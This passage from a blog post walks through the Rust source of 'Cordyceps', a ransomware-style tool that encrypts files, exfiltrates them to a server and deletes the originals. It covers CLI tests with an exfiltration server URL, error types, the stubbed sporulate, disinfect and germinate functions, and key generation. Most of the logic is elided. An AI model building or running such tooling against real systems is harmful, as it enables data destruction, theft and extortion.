font-style: inherit;">cordyceps</span> decrypt <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> ./data <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-k</span> main-private.key</span></code></pre></div></div>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb5-1"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>cfg<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span>test<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb5-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mod</span> tests <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-3">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">super</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*;</span></span>
<span id="cb5-4">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">clap::</span>Parser<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-5"></span>
<span id="cb5-6">    <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>test<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">]</span></span>
<span id="cb5-7">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> test_encrypt_args_parsing() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-8">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> args <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Cli::</span>parse_from([<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span>])<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-9"></span>
<span id="cb5-10">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Cli::</span>Encrypt(args) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> args <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-11">            <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">assert_eq!</span>(args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>to_str()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/tmp"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-12">            <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">assert_eq!</span>(args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>to_str()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/var/main-public.key"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-13">            <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">assert!</span>(args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>no_delete)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-14">            <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">assert_eq!</span>(args<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>server<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Some</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"http://example.com:2673"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>to_string()))<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-15">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-16">            <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">panic!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Expected encrypt args"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-17">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb5-18">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb5-19"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Finally, the <code>cli</code> module contains its own <code>tests</code> submodule. The <code>#[cfg(test)]</code> attribute tells Rust to compile this module only when running <code>cargo test</code>. I find this an excellent way to keep tests close to the code they are testing. Since tests don’t run from a real command line, we use <code>Cli::parse_from</code> to simulate providing arguments and then assert that they were parsed correctly.</p>
</section>
<section id="error" class="level3">
<h3 class="anchored" data-anchor-id="error">error</h3>
<p>Before we continue, let’s take a breath and look at the <code>error</code> module 🧘. Error handling in Rust can be tricky because every error has a distinct type. To avoid a mess of error conversions, I created a dedicated module to define our own custom error types. This unifies all the different kinds of errors our dependencies can throw.</p>
<p>Implementing the standard <code>Error</code> and <code>Display</code> traits involves some boilerplate, so I brought in the excellent <a href="https://crates.io/crates/thiserror">thiserror</a> crate to help. Like <code>clap</code>, <code>thiserror</code> lets us add functionality declaratively with attributes.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb6-1"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>derive<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Error</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Debug</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb6-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">pub</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">enum</span> CryptoError <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-3">    <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>error<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"I/O error: {0}"</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb6-4">    Io(<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>from<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">]</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">io::</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Error</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-5">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb6-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb6-7"></span>
<span id="cb6-8"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>derive<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Error</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Debug</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb6-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">pub</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">enum</span> AppError <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-10">    <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>error<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Cryptographic operation failed: {0}"</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb6-11">    Crypto(<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span>from<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">]</span> CryptoError)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-12">  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb6-13"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>We define two enums, <code>CryptoError</code> and <code>AppError</code>. Both derive <code>thiserror::Error</code> to handle the <code>Error</code> trait implementation. The <code>#[error(...)]</code> attribute implements the <code>Display</code> trait for us. The most powerful attribute here is <code>#[from]</code>, which implements the <code>From</code> trait. This allows Rust’s <code>?</code> operator to automatically convert underlying error types into our custom ones, saving us from writing manual <code>map_err</code> calls everywhere.</p>
<p>I won’t detail every error variant, but the key takeaway is that if a function that can return an <code>io::Error</code> needs to return our <code>CryptoError</code>, the <code>#[from]</code> macro handles the conversion automatically.</p>
</section>
<section id="core" class="level3">
<h3 class="anchored" data-anchor-id="core">core</h3>
<p>Fasten your seatbelts, because from here things start to get wild 💨. <code>core</code> is the module that implements our core operations, acting as Cordyceps’s nervous system 🧠.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb7-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> EXCLUDED_DIRS<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"..."</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"..."</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> EXCLUDED_FILES<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>[<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"..."</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"..."</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-3"></span>
<span id="cb7-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> EXCLUDED_DIRS_SET<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> LazyLock<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>HashSet<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&amp;</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">'static</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span></span>
<span id="cb7-5">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">LazyLock::</span>new(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">||</span> EXCLUDED_DIRS<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>iter()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>copied()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>collect())<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-6"></span>
<span id="cb7-7"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> EXCLUDED_FILES_SET<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> LazyLock<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>HashSet<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&amp;</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">'static</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span></span>
<span id="cb7-8">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">LazyLock::</span>new(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">||</span> EXCLUDED_FILES<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>iter()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>copied()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>collect())<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>We start by defining constant lists of directories and files to exclude. We don’t want to encrypt <code>.git</code> directories or temporary system files, for example. For performance, we use <code>&amp;[&amp;str]</code> (a slice of string literals) since the size is known at compile time.</p>
<p>For even better performance, we convert these lists into <code>HashSet</code>s using <code>LazyLock</code>. This gives us O(1) lookups, which is much faster than iterating through a list every time we check a file. The <code>LazyLock</code> ensures the <code>HashSet</code> is built only on its first use, not at program startup.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb8-1"><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">#[</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokio::</span>main<span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">]</span></span>
<span id="cb8-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">pub</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">async</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> sporulate(</span>
<span id="cb8-3">    path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Path</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb8-4">    key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Path</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb8-5">    no_delete<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bool</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb8-6">    server<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Option</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;,</span></span>
<span id="cb8-7">) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> AppError<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb8-8">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span></code></pre></div></div>
<p>Next is our first core function: <code>sporulate</code>. It’s responsible for spreading the Cordyceps spores—that is, encrypting, exfiltrating, and deleting files. It’s an <code>async</code> function because uploading files is an I/O-bound operation that benefits from asynchronous handling. The <code>#[tokio::main]</code> attribute provides a small, single-threaded <a href="https://crates.io/crates/tokio">tokio</a> runtime for the function it decorates. When <code>cli::run()</code> calls <code>sporulate</code>, it blocks until the async operations are complete.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb9-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> walker <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">WalkDir::</span>new(path)</span>
<span id="cb9-2">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>into_iter()</span>
<span id="cb9-3">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>filter_entry(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span>entry<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{...}</span>)</span>
<span id="cb9-4">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>filter_map(<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>ok)</span>
<span id="cb9-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>filter(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span>entry<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> entry<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>file_type()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>is_file())<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>Inside <code>sporulate</code>, we build an iterator with the <a href="https://crates.io/crates/walkdir">walkdir</a> crate to traverse the directory tree. The <code>.filter_map(Result::ok)</code> part is a concise way to discard any errors that occur while iterating (e.g., permission errors) and keep only the valid directory entries. A <code>for</code> loop then consumes this iterator. Each step (encrypt, delete, exfiltrate) can fail. Instead of stopping the entire process, we catch any error, log it, and move on to the next file.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb10-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">pub</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> disinfect(</span>
<span id="cb10-2">    path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Path</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb10-3">    key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Path</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb10-4">    no_delete<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bool</span></span>
<span id="cb10-5">) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> AppError<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb10-6">  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span></code></pre></div></div>
<p>As its name suggests, <code>disinfect</code> reverses the <code>sporulate</code> process. It traverses directories looking for <code>.zombie</code> files and passes them to the <code>decrypt</code> function in the <code>crypto</code> module.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb11-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">pub</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> germinate(</span>
<span id="cb11-2">  path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Path</span></span>
<span id="cb11-3">) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> AppError<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb11-4">  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span></code></pre></div></div>
<p>The last of our core functions is <code>germinate</code>. This function generates a Curve25519 key pair for our encryption and decryption routines. The cryptography details are explained in the <code>docs/cryptography.md</code> file in the Cordyceps’ repository, but we’ll look at the implementation here.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb12-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> (private_key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> public_key) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> generate_keypair()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span></code></pre></div></div>
<p><code>germinate</code> calls <code>crypto::generate_keypair</code>. Rust destructures the returned tuple, assigning each part to a variable. We then encode the keys to Base64 and write them to <code>main-private.key</code> and <code>main-public.key</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb13-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> decoded_prikey <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> b64_decode(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>private_key_b64)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb13-2"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> decoded_prikey <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>private_key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>as_bytes() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb13-3">  <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Err</span>(<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">AppError::</span>Crypto(<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">CryptoError::</span>KeyVerification))<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb13-4"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Since key generation is a crucial step, we verify that the process is reversible by decoding the keys and comparing them to the originals. If the check fails, we return an error immediately. Otherwise, the function returns <code>Ok(())</code> to signal success.</p>
</section>
<section id="crypto" class="level3">
<h3 class="anchored" data-anchor-id="crypto">crypto</h3>
<p>This is the densest and arguably most complex module in Cordyceps. As the name suggests, <code>crypto</code> implements all cryptographic routines. This is a complex topic, fully documented in <code>docs/cryptography.md</code>. This section will build on that documentation, focusing on the implementation details rather than the cryptographic theory.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb14-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">aes_gcm::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb14-2">    Aes256Gcm<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb14-3">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">aead::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>Aead<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> KeyInit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> Nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">},</span></span>
<span id="cb14-4"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb14-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">base64::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>Engine<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">engine::general_purpose::</span>STANDARD_NO_PAD<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb14-6"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">hkdf::</span>Hkdf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
